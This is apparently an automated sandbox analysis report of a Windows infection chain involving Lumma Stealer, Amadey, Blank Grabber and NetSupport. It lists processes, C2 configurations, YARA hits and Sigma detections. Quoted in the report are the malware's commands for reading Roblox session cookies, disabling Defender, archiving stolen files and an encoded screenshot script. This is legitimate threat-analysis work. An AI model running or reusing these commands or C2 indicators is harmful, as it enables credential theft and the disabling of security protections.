conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7996 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7836 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7976 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 3848 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8000 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7896 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 6100 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 2704 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7380 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5064 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8060 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7532 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 3620 cmdline: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 7820 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6772 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

8ZVMneG.exe (PID: 7444 cmdline: "C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

8ZVMneG.exe (PID: 8152 cmdline: "C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

8ZVMneG.exe (PID: 7744 cmdline: "C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

m9sfEU9.exe (PID: 7732 cmdline: "C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe" MD5: E5F8753995C0B30B827AA2B17F3E1D22)

FuturreApp.exe (PID: 1972 cmdline: "C:\Users\Public\Netstat\FuturreApp.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

Conhost.exe (PID: 7516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

d0ef52de9f.exe (PID: 7336 cmdline: "C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 7860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

d0ef52de9f.exe (PID: 7216 cmdline: "C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

d188864e84.exe (PID: 7360 cmdline: "C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe" MD5: 25FB9C54265BBACC7A055174479F0B70)

skotes.exe (PID: 2128 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: CD7686B11754D77B8722880A1A3A9A43)

skotes.exe (PID: 8084 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: CD7686B11754D77B8722880A1A3A9A43)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: LummaC

{"C2 url": ["awake-weaves.cyou", "immureprech.biz", "bellflamre.click", "debonairnukk.xyz", "diffuculttan.xyz", "deafeninggeh.biz", "wrathful-jammy.cyou", "sordid-snaked.cyou", "effecterectz.xyz"], "Build id": "LPnhqo--nbgnxdlxdnyo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\Public\Netstat\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\FuturreApp.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\Temp\_MEI51602\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Public\Netstat\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\Public\Netstat\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2268719607.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000005F.00000003.2934600615.0000000001328000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2270058738.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000059.00000002.2787455438.0000000000691000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000054.00000003.2941270961.0000000001355000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000055.00000000.2642607921.0000000000922000.00000002.00000001.01000000.00000022.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000003.2986166870.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
0000005F.00000003.2934892594.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000054.00000003.2940333141.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000055.00000002.7287032107.00000000111E1000.00000004.00000001.01000000.00000023.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.2205661447.00000000048A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.2469304797.0000027326167000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000059.00000003.2745055454.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000003.2469304797.0000027326165000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000055.00000002.7276259050.0000000000922000.00000002.00000001.01000000.00000022.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000005F.00000003.2960705475.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2992431014.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000054.00000003.2942245341.000000000135B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2983797651.000001FA2EDC1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: D1UL0FG.exe PID: 5160	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: D1UL0FG.exe PID: 6716	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: D1UL0FG.exe PID: 6716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: D1UL0FG.exe PID: 6716	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: m9sfEU9.exe PID: 7732	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: m9sfEU9.exe PID: 7732	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: 8ZVMneG.exe PID: 7744	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8ZVMneG.exe PID: 7744	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8ZVMneG.exe PID: 7744	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: FuturreApp.exe PID: 1972	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: FuturreApp.exe PID: 1972	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: d0ef52de9f.exe PID: 7216	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d0ef52de9f.exe PID: 7216	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d0ef52de9f.exe PID: 7216	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 41 entries

Unpacked PEs

Source	Rule	Description	Author
85.2.FuturreApp.exe.920000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
85.2.FuturreApp.exe.6bfe0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
81.3.m9sfEU9.exe.31f4800.0.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
81.3.m9sfEU9.exe.31f4800.0.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
85.0.FuturreApp.exe.920000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
85.2.FuturreApp.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
85.2.FuturreApp.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
85.2.FuturreApp.exe.6c000000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
85.2.FuturreApp.exe.6bd30000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
2.2.skotes.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
85.2.FuturreApp.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
85.2.FuturreApp.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0.2.file.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
89.2.skotes.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Netstat\FuturreApp.exe" , CommandLine: "C:\Users\Public\Netstat\FuturreApp.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Netstat\FuturreApp.exe, NewProcessName: C:\Users\Public\Netstat\FuturreApp.exe, OriginalFileName: C:\Users\Public\Netstat\FuturreApp.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe, ParentProcessId: 7732, ParentProcessName: m9sfEU9.exe, ProcessCommandLine: "C:\Users\Public\Netstat\FuturreApp.exe" , ProcessId: 1972, ProcessName: FuturreApp.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1436, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f8645e1e85.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ParentProcessId: 6716, ParentProcessName: D1UL0FG.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'", ProcessId: 1536, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ParentProcessId: 6716, ParentProcessName: D1UL0FG.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 2164, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ParentProcessId: 6716, ParentProcessName: D1UL0FG.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *", ProcessId: 7532, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

